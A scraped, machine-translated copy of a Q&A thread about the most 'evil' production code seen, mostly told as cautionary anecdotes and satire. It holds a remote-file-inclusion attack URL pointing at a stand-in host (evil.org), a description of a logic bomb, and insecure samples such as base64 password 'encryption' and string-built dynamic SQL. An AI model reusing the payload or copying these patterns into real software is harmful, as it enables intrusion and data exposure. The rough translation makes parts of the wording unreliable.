anti-patterns - telefonicos - guia telefonica de suecia
¿Cuál es el código más MALVADO que jamás haya visto en un entorno empresarial de producción? (30)
Codificación de la base 36 para almacenar entradas en cadenas.
Supongo que la teoría va más o menos del estilo de:
- Hexadecimal se usa para representar números
- Hexadecimal no usa letras más allá de F, lo que significa que GZ se desperdicia
- El desperdicio es malo
En este momento estoy trabajando con una base de datos que almacena los días de la semana que un evento puede suceder como un campo de bits de 7 bits (0-127), almacenado en la base de datos como una cadena de 2 caracteres que va desde ''0'' a ''3J''.
¿Cuál es el fragmento de código más malvado o peligroso que haya visto en un entorno de producción en una empresa? Nunca me he encontrado con un código de producción que considere deliberadamente malicioso y malévolo, así que tengo curiosidad de ver lo que otros han encontrado.
El código más peligroso que he visto en mi vida fue un procedimiento almacenado con dos servidores vinculados, lejos de nuestro servidor de base de datos de producción. El procedimiento almacenado aceptaba cualquier parámetro NVARCHAR (8000) y ejecutaba el parámetro en el servidor de producción de destino mediante un comando de doble salto sp_executeSQL. Es decir, el comando sp_executeSQL ejecutó otro comando sp_executeSQL para saltar dos servidores vinculados. Ah, y la cuenta del servidor vinculado tenía derechos de administrador del sistema en el servidor de producción de destino.
Combinación de todas las siguientes ''características'' Php a la vez.
- Regístrese Globales
- Variables variables
- La inclusión de archivos remotos y código a través de include ("http: // ...");
Nombres de matriz / variable realmente horribles (ejemplo literal):
foreach( $variablesarry as $variablearry ){ include( $$variablearry ); }
(Literalmente pasé una hora tratando de descubrir cómo funcionó antes de darme cuenta de que no tenían la misma variable)
Incluya 50 archivos, cada uno de los cuales incluye 50 archivos, y todo se realiza de forma lineal / procedimental en los 50 archivos de forma condicional e impredecible.
Para aquellos que no conocen variables variables:
$x = "hello";
$$x = "world";
print $hello # "world" ;
Ahora considere que $ x contiene un valor de su URL (registre la magia global), por lo que en ningún lugar de su código es obvio cuál es su variable de trabajo, ya que todo está determinado por la URL.
Ahora considere lo que sucede cuando el contenido de esa variable puede ser una URL especificada por el usuario de los sitios web. Sí, esto puede no tener sentido para usted, pero crea una variable llamada esa url, es decir:
$http://google.com
,
excepto que no se puede acceder directamente, debes usarlo a través de la técnica double $ de arriba.
Además, cuando es posible que un usuario especifique una variable en la URL que indique qué archivo incluir, existen trucos desagradables como
http://foo.bar.com/baz.php?include=http://evil.org/evilcode.php
y si esa variable aparece en include($include)
y ''evilcode.php'' imprime su texto claro de código, y Php está protegido de forma inapropiada, php simplemente se desconectará, descargará evilcode.php y lo ejecutará como el usuario del servidor web.
El servidor web le dará todos sus permisos, etc., permitiendo llamadas al shell, descargando binarios arbitrarios y ejecutándolos, etc., hasta que finalmente se pregunte por qué tiene un cuadro que se queda sin espacio en disco, y un directorio tiene 8GB de películas pirateadas doblaje en italiano, que se comparte en IRC a través de un bot.
Simplemente estoy agradecido de haber descubierto que la atrocidad antes de que el guión ejecutara el ataque decidió hacer algo realmente peligroso como recolectar información extremadamente confidencial de la base de datos más o menos segura: |
(Podría entretener el dailywtf todos los días durante 6 meses con esa base de código, no bromeo. Es una lástima que descubrí el dailywtf después de que escapé de ese código)
El instalador de Windows.
En el archivo de encabezado principal del proyecto, de un programador de COBOL antiguo, que inexplicablemente estaba escribiendo un compilador en C:
int i, j, k;
"Entonces no obtendrás un error de compilación si olvidas declarar tus variables de bucle".
En un sistema que tomaba pagos con tarjeta de crédito, solíamos almacenar el número completo de la tarjeta de crédito junto con el nombre, la fecha de vencimiento, etc.
Resulta que esto es ilegal, lo cual es irónico dado que estábamos escribiendo el programa para el Departamento de Justicia en ese momento.
Esta fue la rutina de manejo de errores en una pieza de código comercial:
/* FIXME! */
while (TRUE)
;
Se suponía que debía averiguar por qué "la aplicación sigue encerrada".
Este artículo Cómo escribir un código que no se puede mantener cubre algunas de las técnicas más brillantes conocidas por el hombre. Algunos de mis favoritos son:
Nuevos usos de los nombres para el bebé
Compre una copia de un libro de nombres para bebés y nunca perderá nombres variables. Fred es un nombre maravilloso, y fácil de escribir. Si busca nombres de variables fáciles de escribir, pruebe adsf o aoeu si escribe con un teclado DSK.
Error creativo de ortografía
Si debe usar variables descriptivas y nombres de funciones, escríbalos mal. Al escribir incorrectamente algunos nombres de funciones y variables, y deletrearlos correctamente en otros (como SetPintleOpening SetPintalClosing), de hecho negamos el uso de las técnicas de búsqueda grep o IDE. Funciona increíblemente bien. Agregue un sabor internacional mediante la ortografía tory o tori en diferentes teatros / teatros.
Sé abstracto
Al nombrar funciones y variables, haga un uso intensivo de palabras abstractas como, todo, datos, manejar, cosas, hacer, rutina, realizar y los dígitos, por ejemplo, rutina X48, PerformDataFunction, DoIt, HandleStuff y do_args_method.
Capitalización
Al azar mayúscula la primera letra de una sílaba en el medio de una palabra. Por ejemplo, ComputeRasterHistoGram ().
Minúscula l se parece mucho al dígito 1
Use minúsculas l para indicar constantes largas. por ejemplo, 10l es más probable que se confunda con 101 que 10L es. Prohibir las fuentes que claramente desambiguen uww wW gq9 2z 5s il17 |! J oO08 `''";,. M nn rn {[()]}. Sea creativo.
Recicla tus variables
Siempre que las reglas de alcance lo permitan, reutilice nombres de variables no relacionadas existentes. De manera similar, use la misma variable temporal para dos propósitos no relacionados (que pretenden salvar ranuras de pila). Para una variante diabólica, metamorfosee la variable, por ejemplo, asigne un valor a una variable en la parte superior de un método muy largo, y luego en algún lugar en el medio, cambie el significado de la variable de una manera sutil, como convertirla de una coordenada basada en 0 a una coordenada basada en 1. Asegúrese de no documentar este cambio de significado.
Cd wrttn wtht vwls s mch trsr
Al usar abreviaturas dentro de nombres de variables o métodos, rompa el aburrimiento con varias variantes para la misma palabra, e incluso deletérelo a mano de una vez a la vez. Esto ayuda a derrotar a aquellos vagos perezosos que utilizan la búsqueda de texto para comprender solo algunos aspectos de su programa. Considere la ortografía de variante como una variante de la estratagema, por ejemplo, mezclando el color internacional, con el color americano y el kulerz de habla tímida. Si deletrea nombres completos, solo hay una forma posible de deletrear cada nombre. Estos son demasiado fáciles de recordar para el programador de mantenimiento. Debido a que hay tantas formas diferentes de abreviar una palabra, con abreviaturas, puede tener varias variables diferentes que tienen el mismo propósito aparente. Como una ventaja adicional, el programador de mantenimiento podría no darse cuenta de que son variables separadas.
Referencias de película oscura
Use nombres constantes como LancelotsFavouriteColour en lugar de azul y asígnele un valor hexadecimal de $ 0204FB. El color se ve idéntico al azul puro en la pantalla, y un programador de mantenimiento tendría que calcular 0204FB (o usar alguna herramienta gráfica) para saber cómo se ve. Solo alguien íntimamente familiarizado con Monty Python y el Santo Grial sabría que el color favorito de Lancelot era el azul. Si un programador de mantenimiento no puede citar todas las películas de Monty Python de la memoria, no tiene ningún negocio como programador.
Documenta lo obvio
Pimienta el código con comentarios como / * add 1 to i * / sin embargo, nunca documente cosas lacias como el propósito general del paquete o método.
Documento Cómo no por qué
Documente solo los detalles de lo que hace un programa, no lo que está intentando lograr. De esa forma, si hay un error, el solucionador no tendrá idea de lo que el código debería estar haciendo.
Efectos secundarios
En C, se supone que las funciones son idempotentes, (sin efectos secundarios). Espero que esa pista sea suficiente.
Use Octal
Contrabando octal literales en una lista de números decimales como este:
array = new int []
{
111,
120,
013,
121,
};
ASCII extendido
Los caracteres ASCII extendidos son perfectamente válidos como nombres de variables, incluidos los caracteres ß, Ð y ñ. Son casi imposibles de escribir sin copiar / pegar en un editor de texto simple.
Nombres de otros idiomas
Use diccionarios de idiomas extranjeros como fuente de nombres de variables. Por ejemplo, use el punkt alemán para el punto. Los codificadores de mantenimiento, sin su conocimiento firme de alemán, disfrutarán de la experiencia multicultural de descifrar el significado.
Nombres de Matemáticas
Elija nombres de variables que se enmascaren como operadores matemáticos, por ejemplo:
openParen = (slash + asterix) / equals;
Código que se enmascara como comentarios y viceversa
Incluye secciones de código que están comentadas, pero a primera vista no parece ser así.
for(j=0; j<array_len; j+ =8)
{
total += array[j+0 ];
total += array[j+1 ];
total += array[j+2 ]; /* Main body of
total += array[j+3]; * loop is unrolled
total += array[j+4]; * for greater speed.
total += array[j+5]; */
total += array[j+6 ];
total += array[j+7 ];
}
Sin el código de color, ¿notarías que tres líneas de código están comentadas?
Nombres arbitrarios que se enmascaran como palabras clave
Al documentar, y necesita un nombre arbitrario para representar un nombre de archivo, use "archivo". Nunca use un nombre obviamente arbitrario como "Charlie.dat" o "Frodo.txt". En general, en los ejemplos, use nombres arbitrarios que suenen tanto como palabras clave reservadas como sea posible. Por ejemplo, los buenos nombres para parámetros o variables serían "banco", "en blanco", "clase", "const", "constante", "entrada", "clave", "palabra clave", "tipo", "salida" , "parámetro", "parm", "sistema", "tipo", "valor", "var" y "variable". Si utiliza palabras reservadas reales para sus nombres arbitrarios, que serían rechazados por su procesador de comandos o compilador, tanto mejor. Si lo haces bien, los usuarios se confundirán irremediablemente entre las palabras clave reservadas y los nombres arbitrarios en tu ejemplo, pero puedes parecer inocente y alegar que lo hiciste para ayudarlos a asociar el propósito apropiado con cada variable.
Los nombres de código no deben coincidir con los nombres de pantalla
Elija sus nombres de variable para que no tengan ninguna relación con las etiquetas utilizadas cuando tales variables se muestran en la pantalla. Por ejemplo, en la pantalla, marque el campo "Código postal" pero en el código llame a la variable asociada "zip".
Elegir el mejor operador de sobrecarga
En C ++, sobrecarga +, -, *, / para hacer cosas totalmente ajenas a la suma, resta, etc. Después de todo, si Stroustroup puede usar el operador de desplazamiento para hacer E / S, ¿por qué no ser igualmente creativo? Si sobrecarga +, asegúrese de hacerlo de una manera que i = i + 5; tiene un significado totalmente diferente de i + = 5; Aquí hay un ejemplo de sobrecarga de ofuscación del operador de sobrecarga a un alto arte. Sobrecargar el ''!'' operador para una clase, pero tienen la sobrecarga no tienen nada que ver con la inversión o la negación. Haz que devuelva un número entero. Entonces, para obtener un valor lógico para él, debes usar ''! ! ''. Sin embargo, esto invierte la lógica, por lo que [drum roll] debes usar ''! ! ! ''. No confundas el! operador, que devuelve un valor booleano 0 o 1, con el operador de negación lógica bit a bit.
Excepciones
Te voy a contar un secreto de codificación poco conocido. Las excepciones son un dolor en el trasero. El código escrito correctamente nunca falla, por lo que las excepciones son realmente innecesarias. No pierdas el tiempo con ellos. Subclasificar excepciones es para incompetentes que saben que su código fallará. Puede simplificar enormemente su programa teniendo solo un único try / catch en la aplicación completa (en main) que llama a System.exit (). Solo inserte un conjunto de lanzamientos perfectamente estándar en cada encabezado de método, ya sea que puedan arrojar excepciones o no.
Ubicaciones Magic Matrix
Use valores especiales en ciertas ubicaciones de matriz como indicadores. Una buena opción es el elemento [3] [0] en una matriz de transformación utilizada con un sistema de coordenadas homogéneo.
Magic Array Slots revisited
Si necesita varias variables de un tipo determinado, simplemente defina una matriz de ellas, luego acceda a ellas por número. Elija una convención de numeración que solo usted conozca y no la documente. Y no se moleste en definir las constantes #define para los índices. Todo el mundo debería saber que el widget de variable global [15] es el botón cancelar. Esta es solo una variante actualizada sobre el uso de direcciones numéricas absolutas en el código del ensamblador.
Nunca embellecer
Nunca use un código de fuente automático ordenado (embellecedor) para mantener su código alineado. Haga lobby para que los excluyan de su empresa, ya que crean falsos deltas en PVCS / CVS (seguimiento de control de versiones) o que cada programador debe tener su propio estilo de sangría considerado sacrosanto para cualquier módulo que haya escrito. Insista en que otros programadores observen esas convenciones idiosincrásicas en "sus" módulos. Prohibir los embellecedores es bastante fácil, a pesar de que ahorran los millones de teclas que realizan la alineación manual y los días que se malgastan malinterpretando el código mal alineado. Solo insista en que todos usen el mismo formato ordenado, no solo para almacenar en el repositorio común, sino también mientras están editando. Esto inicia un RWAR y el jefe, para mantener la paz, prohibirá la limpieza automática. Sin una ordenación automática, ahora es libre de desalinear accidentalmente el código para dar la ilusión óptica de que los cuerpos de los bucles e ifs son más largos o más cortos de lo que realmente son, o que las cláusulas else coinciden con una si de lo que realmente lo hacen. p.ej
if(a)
if(b) x=y;
else x=z;
Las pruebas son para cobardes
Un codificador valiente evitará ese paso. Demasiados programadores tienen miedo de su jefe, temen perder su trabajo, temen al correo de odio del cliente y temen ser demandados. Este miedo paraliza la acción y reduce la productividad. Los estudios han demostrado que la eliminación de la fase de prueba significa que los gerentes pueden establecer las fechas de envío con mucha antelación, una ayuda obvia en el proceso de planificación. Sin miedo, la innovación y la experimentación pueden florecer. El rol del programador es producir código, y la depuración se puede realizar mediante un esfuerzo cooperativo por parte de la mesa de ayuda y el grupo de mantenimiento heredado.
Si tenemos plena confianza en nuestra capacidad de codificación, entonces las pruebas serán innecesarias. Si miramos esto lógicamente, cualquier tonto puede reconocer que las pruebas ni siquiera intentan resolver un problema técnico, sino que se trata de un problema de confianza emocional. Una solución más eficiente para este problema de falta de confianza es eliminar por completo las pruebas y enviar a nuestros programadores a cursos de autoestima. Después de todo, si optamos por hacer pruebas, entonces tenemos que probar cada cambio de programa, pero solo tenemos que enviar a los programadores a un curso sobre la construcción de la autoestima. El costo beneficio es tan sorprendente como obvio.
Invierta la habitual y falsa Convención
Invierta las definiciones habituales de verdadero y falso. Suena muy obvio, pero funciona muy bien. Puedes esconder:
#define TRUE 0
#define FALSE 1
en algún lugar profundo del código para que sea extraído de las entrañas del programa de un archivo que ya nadie mira. Luego obligue al programa a hacer comparaciones como:
if ( var == TRUE )
if ( var != FALSE )
alguien está obligado a "corregir" la aparente redundancia, y usar var en otro lugar de la manera habitual:
if ( var )
Otra técnica es hacer que VERDADERO y FALSO tengan el mismo valor, aunque la mayoría lo consideraría una trampa. Usar los valores 1 y 2 o -1 y 0 es una manera más sutil de hacer que las personas se levanten y sigan pareciendo respetables. Puede usar esta misma técnica en Java definiendo una constante estática llamada TRUE. Los programadores pueden ser más sospechosos de lo que está haciendo mal, ya que existe una verdad literal incorporada en Java.
Explotar esquizofrenia
Java es esquizofrénico sobre las declaraciones de matriz. Puede hacerlos con la antigua C, forma String x [], (que usa una notación mixta previa al postfijo) o la nueva forma String [] x, que usa la notación de prefijos puros. Si realmente quieres confundir a las personas, mezcla la notationse.g.
byte[ ] rowvector, colvector , matrix[ ];
que es equivalente a:
byte[ ] rowvector;
byte[ ] colvector;
byte[ ][] matrix;
He visto (y publicado en thedailywtf) el código que les dará a todos el derecho de administrador en una parte significativa de una aplicación los martes. Supongo que el desarrollador original olvidó eliminar el código después de la prueba local de la máquina.
He visto una función de encriptación de contraseña como esta
function EncryptPassword($password)
{
return base64_encode($password);
}
No sé si esto es "malo" o equivocado (lo publiqué recientemente en The Old New Thing):
Conocí a un tipo que amaba almacenar información como cadenas delimitadas. Estaba familiarizado con el concepto de matrices, como se muestra cuando usó matrices de cadenas delimitadas, pero la bombilla nunca se iluminó.
No sé si llamaría al código "malo", pero teníamos un desarrollador que crearía matrices Object[]
lugar de escribir clases. En todos lados.
32 source code files with more then 10K lines of code each. Each contained one class. Each class contained one method that did "everything"
That was real nightmare for debuging that code before I had to refactor that.
Advertencia: larga publicación aterradora por delante
He escrito sobre una aplicación en la que he trabajado antes here y here . Para decirlo simplemente, mi compañía heredó 130,000 líneas de basura de la India. La aplicación fue escrita en C #; era una aplicación de cajero, el mismo tipo de cajeros de software que usa detrás del mostrador cada vez que vas al banco. La aplicación se bloqueó entre 40 y 50 veces al día, y simplemente no se pudo refactorizar en código de trabajo. Mi empresa tuvo que volver a escribir toda la aplicación en el transcurso de 12 meses.
¿Por qué esta aplicación es mala? Porque la vista del código fuente era suficiente para volver loco a un hombre en su sano juicio y un hombre loco. La lógica retorcida utilizada para escribir esta aplicación podría haberse inspirado solo en una pesadilla de Lovecraft. Las características únicas de esta aplicación incluyen:
De 130,000 líneas de código, la aplicación completa contenía 5 clases (excluyendo archivos de formulario). Todas estas fueron clases públicas estáticas. Una clase se llamaba Globals.cs, que contenía 1000s y 1000s y 1000s de variables públicas estáticas utilizadas para contener todo el estado de la aplicación. Esas cinco clases contenían 20,000 líneas de código total, con el código restante incrustado en los formularios.
Tienes que preguntarte, ¿cómo lograron los programadores escribir una aplicación tan grande sin clases? ¿Qué usaron para representar sus objetos de datos? Resulta que los programadores lograron reinventar la mitad de los conceptos que todos aprendimos sobre OOP simplemente combinando ArrayLists, HashTables y DataTables. Vimos mucho de esto:
- ArrayLists de hashtables
- Hashtables con claves de cadena y valores de DataRow
- ArrayLists de DataTables
- DataRows que contienen ArrayLists que contenían HashTables
- ArrayLists de DataRows
- ArrayLists de ArrayLists
- HashTables con claves de cadena y valores HashTable
- ArrayLists de ArrayLists of HashTables
- Cualquier otra combinación de ArrayLists, HashTables, DataTables que se te ocurra.
Tenga en cuenta que ninguna de las estructuras de datos anteriores está fuertemente tipada, por lo que debe convertir el objeto misterioso que obtenga de la lista al tipo correcto. Es sorprendente el tipo de estructuras de datos complejas, similares a Rube Goldberg, que puede crear usando solo ArrayLists, HashTables y DataTables.
Para compartir un ejemplo de cómo usar el modelo de objetos detallado anteriormente, considere Cuentas: el programador original creó una HashTable separada para cada propiedad concebible de una cuenta: una HashTable llamada hstAcctExists, hstAcctNeedsOverride, hstAcctFirstName. Las claves para todas esas tablas hash eran una cadena "|" separada. Teclas concebibles incluidas "123456 | DDA", "24100 | SVG", "100 | LNS", etc.
Como el estado de la aplicación completa era fácilmente accesible desde las variables globales, los programadores consideraron innecesario pasar parámetros a los métodos. Yo diría que el 90% de los métodos tomaron 0 parámetros. De los pocos que sí lo hicieron, todos los parámetros se pasaron como cadenas por conveniencia, independientemente de lo que representara la cadena.
Las funciones libres de efectos laterales no existían. Cada método modificó 1 o más variables en la clase Globals. No todos los efectos secundarios tienen sentido; por ejemplo, uno de los métodos de validación de formularios tenía un misterioso efecto secundario al calcular los pagos excesivos y cortos de los préstamos para cualquier cuenta que se haya almacenado en Globals.lngAcctNum.
Aunque había muchas formas, había una forma de gobernarlas a todas: frmMain.cs, que contenía la friolera de 20,000 líneas de código. ¿Qué hizo frmMain? Todo. Buscó cuentas, imprimió recibos, distribuyó efectivo, hizo todo.
Algunas veces se necesitan otros formularios para llamar a los métodos en frmMain. En lugar de factorizar ese código fuera de la forma en una clase separada, ¿por qué no invocar el código directamente?
((frmMain)this.MDIParent).UpdateStatusBar(hstValues);
Para buscar cuentas, los programadores hicieron algo como esto:
bool blnAccountExists = new frmAccounts().GetAccountInfo().blnAccountExists
Tan malo como ya está creando un formulario invisible para realizar la lógica de negocios, ¿cómo crees que el formulario sabía qué cuenta buscar? Eso es fácil: el formulario podría acceder a Globals.lngAcctNum y Globals.strAcctType. (¿A quién no le gusta la notación húngara?)
Code-reuse fue un sinónimo de ctrl-c, ctrl-v. Encontré métodos de 200 líneas copiados / pegados en 20 formularios.
La aplicación tenía un modelo de subprocesamiento extraño, algo que me gusta llamar el modelo de thread-and-timer: cada forma que generó un hilo tenía un temporizador. Cada hilo que se generó inició un temporizador que tuvo un retraso de 200 ms; una vez que el temporizador comenzara, verificaría si el hilo había establecido algún booleano mágico, entonces abortaría el hilo. La ThreadAbortException resultante se tragó.
Pensarías que solo verías este patrón una vez, pero lo encontré en al menos 10 lugares diferentes.
Hablando de hilos, la palabra clave "bloqueo" nunca apareció en la aplicación. Los subprocesos manipularon el estado global libremente sin tomar un bloqueo.
Todos los métodos en la aplicación contenían un bloque try / catch. Todas las excepciones se registraron y se tragaron.
¡Quién necesita encender enums cuando enciende cadenas es igual de fácil!
Algún genio descubrió que puede conectar múltiples controles de formulario hasta el mismo controlador de eventos. ¿Cómo manejó esto el programador?
private void OperationButton_Click(object sender, EventArgs e) { Button btn = (Button)sender; if (blnModeIsAddMc) { AddMcOperationKeyPress(btn); } else { string strToBeAppendedLater = string.Empty; if (btn.Name != "btnBS") { UpdateText(); } if (txtEdit.Text.Trim() != "Error") { SaveFormState(); } switch (btn.Name) { case "btnC": ResetValues(); break; case "btnCE": txtEdit.Text = "0"; break; case "btnBS": if (!blnStartedNew) { string EditText = txtEdit.Text.Substring(0, txtEdit.Text.Length - 1); DisplayValue((EditText == string.Empty) ? "0" : EditText); } break; case "btnPercent": blnAfterOp = true; if (GetValueDecimal(txtEdit.Text, out decCurrValue)) { AddToTape(GetValueString(decCurrValue), (string)btn.Text, true, false); decCurrValue = decResultValue * decCurrValue / intFormatFactor; DisplayValue(GetValueString(decCurrValue)); AddToTape(GetValueString(decCurrValue), string.Empty, true, false); strToBeAppendedLater = GetValueString(decResultValue).PadLeft(20) + strOpPressed.PadRight(3); if (arrLstTapeHist.Count == 0) { arrLstTapeHist.Add(strToBeAppendedLater); } blnEqualOccurred = false; blnStartedNew = true; } break; case "btnAdd": case "btnSubtract": case "btnMultiply": case "btnDivide": blnAfterOp = true; if (txtEdit.Text.Trim() == "Error") { btnC.PerformClick(); return; } if (blnNumPressed || blnEqualOccurred) { if (GetValueDecimal(txtEdit.Text, out decCurrValue)) { if (Operation()) { AddToTape(GetValueString(decCurrValue), (string)btn.Text, true, true); DisplayValue(GetValueString(decResultValue)); } else { AddToTape(GetValueString(decCurrValue), (string)btn.Text, true, true); DisplayValue("Error"); } strOpPressed = btn.Text; blnEqualOccurred = false; blnNumPressed = false; } } else { strOpPressed = btn.Text; AddToTape(GetValueString(0), (string)btn.Text, false, false); } if (txtEdit.Text.Trim() == "Error") { AddToTape("Error", string.Empty, true, true); btnC.PerformClick(); txtEdit.Text = "Error"; } break; case "btnEqual": blnAfterOp = false; if (strOpPressed != string.Empty || strPrevOp != string.Empty) { if (GetValueDecimal(txtEdit.Text, out decCurrValue)) { if (OperationEqual()) { DisplayValue(GetValueString(decResultValue)); } else { DisplayValue("Error"); } if (!blnEqualOccurred) { strPrevOp = strOpPressed; decHistValue = decCurrValue; blnNumPressed = false; blnEqualOccurred = true; } strOpPressed = string.Empty; } } break; case "btnSign": GetValueDecimal(txtEdit.Text, out decCurrValue); DisplayValue(GetValueString(-1 * decCurrValue)); break; } } }
El mismo genio también descubrió al glorioso operador ternario. Aquí hay algunos ejemplos de código:
frmTranHist.cs [line 812]:
strDrCr = chkCredits.Checked && chkDebits.Checked ? string.Empty : chkDebits.Checked ? "D" : chkCredits.Checked ? "C" : "N";
frmTellTransHist.cs [line 961]:
if (strDefaultVals == strNowVals && (dsTranHist == null ? true : dsTranHist.Tables.Count == 0 ? true : dsTranHist.Tables[0].Rows.Count == 0 ? true : false))
frmMain.TellCash.cs [line 727]:
if (Validations(parPostMode == "ADD" ? true : false))
Aquí hay un fragmento de código que demuestra el mal uso típico de StringBuilder. Observe cómo el programador concatena una cadena en un bucle, y luego agrega la cadena resultante a StringBuilder:
private string CreateGridString() { string strTemp = string.Empty; StringBuilder strBuild = new StringBuilder(); foreach (DataGridViewRow dgrRow in dgvAcctHist.Rows) { strTemp = ((DataRowView)dgrRow.DataBoundItem)["Hst_chknum"].ToString().PadLeft(8, '' ''); strTemp += " "; strTemp += Convert.ToDateTime(((DataRowView)dgrRow.DataBoundItem)["Hst_trandt"]).ToString("MM/dd/yyyy"); strTemp += " "; strTemp += ((DataRowView)dgrRow.DataBoundItem)["Hst_DrAmount"].ToString().PadLeft(15, '' ''); strTemp += " "; strTemp += ((DataRowView)dgrRow.DataBoundItem)["Hst_CrAmount"].ToString().PadLeft(15, '' ''); strTemp += " "; strTemp += ((DataRowView)dgrRow.DataBoundItem)["Hst_trancd"].ToString().PadLeft(4, '' ''); strTemp += " "; strTemp += GetDescriptionString(((DataRowView)dgrRow.DataBoundItem)["Hst_desc"].ToString(), 30, 62); strBuild.AppendLine(strTemp); } strCreateGridString = strBuild.ToString(); return strCreateGridString;//strBuild.ToString(); }
No existían claves primarias, índices o restricciones de clave externa en las tablas, casi todos los campos eran de tipo varchar (50) y el 100% de los campos eran anulables. Curiosamente, los campos de bits no se usaron para almacenar datos booleanos; en su lugar se usó un campo char (1) y los caracteres ''Y'' y ''N'' se usaron para representar verdadero y falso respectivamente.
Hablando de la base de datos, aquí hay un ejemplo representativo de un procedimiento almacenado:
ALTER PROCEDURE [dbo].[Get_TransHist] ( @TellerID int = null, @CashDrawer int = null, @AcctNum bigint = null, @StartDate datetime = null, @EndDate datetime = null, @StartTranAmt decimal(18,2) = null, @EndTranAmt decimal(18,2) = null, @TranCode int = null, @TranType int = null ) AS declare @WhereCond Varchar(1000) declare @strQuery Varchar(2000) Set @WhereCond = '' '' Set @strQuery = '' '' If not @TellerID is null Set @WhereCond = @WhereCond + '' AND TT.TellerID = '' + Cast(@TellerID as varchar) If not @CashDrawer is null Set @WhereCond = @WhereCond + '' AND TT.CDId = '' + Cast(@CashDrawer as varchar) If not @AcctNum is null Set @WhereCond = @WhereCond + '' AND TT.AcctNbr = '' + Cast(@AcctNum as varchar) If not @StartDate is null Set @WhereCond = @WhereCond + '' AND Convert(varchar,TT.PostDate,121) >= '''''' + Convert(varchar,@StartDate,121) + '''''''' If not @EndDate is null Set @WhereCond = @WhereCond + '' AND Convert(varchar,TT.PostDate,121) <= '''''' + Convert(varchar,@EndDate,121) + '''''''' If not @TranCode is null Set @WhereCond = @WhereCond + '' AND TT.TranCode = '' + Cast(@TranCode as varchar) If not @EndTranAmt is null Set @WhereCond = @WhereCond + '' AND TT.TranAmt <= '' + Cast(@EndTranAmt as varchar) If not @StartTranAmt is null Set @WhereCond = @WhereCond + '' AND TT.TranAmt >= '' + Cast(@StartTranAmt as varchar) If not (@TranType is null or @TranType = -1) Set @WhereCond = @WhereCond + '' AND TT.DocType = '' + Cast(@TranType as varchar) --Get the Teller Transaction Records according to the filters Set @strQuery = ''SELECT TT.TranAmt as [Transaction Amount], TT.TranCode as [Transaction Code], RTrim(LTrim(TT.TranDesc)) as [Transaction Description], TT.AcctNbr as [Account Number], TT.TranID as [Transaction Number], Convert(varchar,TT.ActivityDateTime,101) as [Activity Date], Convert(varchar,TT.EffDate,101) as [Effective Date], Convert(varchar,TT.PostDate,101) as [Post Date], Convert(varchar,TT.ActivityDateTime,108) as [Time], TT.BatchID, TT.ItemID, isnull(TT.DocumentID, 0) as DocumentID, TT.TellerName, TT.CDId, TT.ChkNbr, RTrim(LTrim(DT.DocTypeDescr)) as DocTypeDescr, (CASE WHEN TT.TranMode = ''''F'''' THEN ''''Offline'''' ELSE ''''Online'''' END) TranMode, DispensedYN FROM TellerTrans TT WITH (NOLOCK) LEFT OUTER JOIN DocumentTypes DT WITH (NOLOCK) on DocType = DocumentType WHERE IsNull(TT.DeletedYN, 0) = 0 '' + @WhereCond + '' Order By BatchId, TranID, ItemID'' Exec (@strQuery)
Con todo lo dicho, el mayor problema con esta aplicación de 130,000 líneas es esto: no hay pruebas de unidades.
Sí, he enviado esta historia a TheDailyWTF, y luego renuncié a mi trabajo.
A little evil...someone I know wrote into the main internal company web app, a daily check to see if he has logged into the system in the past 10 days. If there''s no record of him logged in, it disables the app for everyone in the company.
He wrote the piece once he heard rumors of layoffs, and if he was going down, the company would have to suffer.
The only reason I knew about it, is that he took a 2 week vacation & I called him when the site crapped out. He told me to log on with his username/password...and all was fine again.
Of course..months later we all got laid off.
At an earlier workplace, we inherited a legacy project, which partially had been outsorced earlier. The main app was Java, the outsourced part was a native C library. Once I had a look at the C source files. I listed the contents of the directory. There were several source files over 200K in size. The biggest C file was 600 Kbytes .
Thank God I never had to actually touch them :-)
I had the deep misfortune of being involved in finding a rather insane behavior in a semi-custom database high-availability solution.
The core bits were unremarkable. Red Hat Enterprise Linux, MySQL, DRBD, and the Linux-HA stuff. The configuration, however, was maintained by a completely custom puppet-like system (unsurprisingly, there are many other examples of insanity resulting from this system).
It turns out that the system was checking the install.log
file that Kickstart leaves in the root directory for part of the information it needed to create the DRBD configuration. This in itself is evil, of course. You don''t pull configuration from a log file whose format is not actually defined. It gets worse, though.
No almacenaba estos datos en ningún otro lugar, y cada vez que se ejecutaba, que era cada 60 segundos, consultaba install.log
.
Solo te dejaré adivinar lo que pasó la primera vez que alguien decidió eliminar este archivo de registro que, de otro modo, sería inútil.
I remember having to setup IIS 3 to run Perl CGI scripts (yes, that was a looong time ago). The official recommendation at that time was to put Perl.exe in cgi-bin. It worked, but it also gave everyone access to a pretty powerful scripting engine!
I remember seeing a login handler that took a post request, and redirected to a GET with the user name and password passed in as parameters. This was for an "enterprise class" medical system.
I noticed this while checking some logs - I was very tempted to send the CEO his password.
I saw code in an ASP.NET MVC site from a guy who had only done web forms before (and is a renowned copy/paster!) that stuck a client side click event on an <a>
tag that called a javascript method that did a document.location.
I tried to explain that a href
on the <a>
tag would do the same!!!
I think that it was a program which loaded a loop into the general purpose registers of a pdp-10 and then executed the code in those registers.
You could do that on a pdp-10. That doesn''t mean that you should.
EDIT: at least this is to the best of my (sometimes quite shabby) recollection.
I was given a set of programs to advance while colleagues were abroad at a customer (installing said programs). One key library came up in every program, and trying to figure out the code, I realised that there were tiny differences from one program to the next. In a common library.
Realising this, I ran a text comparison of all copies. Out of 16, I think there were about 9 unique ones. I threw a bit of a fit.
The boss intervened and had the colleagues collate a version that was seemingly universal. They sent the code by e-mail. Unknown to me, there were strings with unprintable characters in there, and some mixed encodings. The e-mail garbled it pretty bad.
The unprintable characters were used to send out data (all strings!) from a server to a client. All strings were thus separated by the 0x03 character on the server-side, and re-assembled client-side in C# using the Split function.
The somwehat sane way would have been to do:
someVariable.Split(Convert.ToChar(0x03);
The saner and friendly way would have been to use a constant:
private const char StringSeparator = (char)0x03;
//...
someVariable.Split(StringSeparator);
The EVIL way was what my colleagues chose: use whatever "prints" for 0x03 in Visual Studio and put that between quotes:
someVariable.Split(''/*unprintable character*/'');
Furthermore, in this library (and all the related programs), not a single variable was local (I checked!). Functions were designed to either recuperate the same variables once it was deemed safe to waste them, or to create new ones which would live on for all the duration of the process. I printed out several pages and colour coded them. Yellow meant "global, never changed by another function", Red meant "global, changed by several". Green would have been "local", but there was none.
Oh, did I mention control version? Because of course there was none.
ADD ON: I just remembered a function I discovered, not long ago.
Its purpose was to go through an array of arrays of intergers, and set each first and last item to 0. It went like this (not actual code, from memory, and more C#-esque):
FixAllArrays()
{
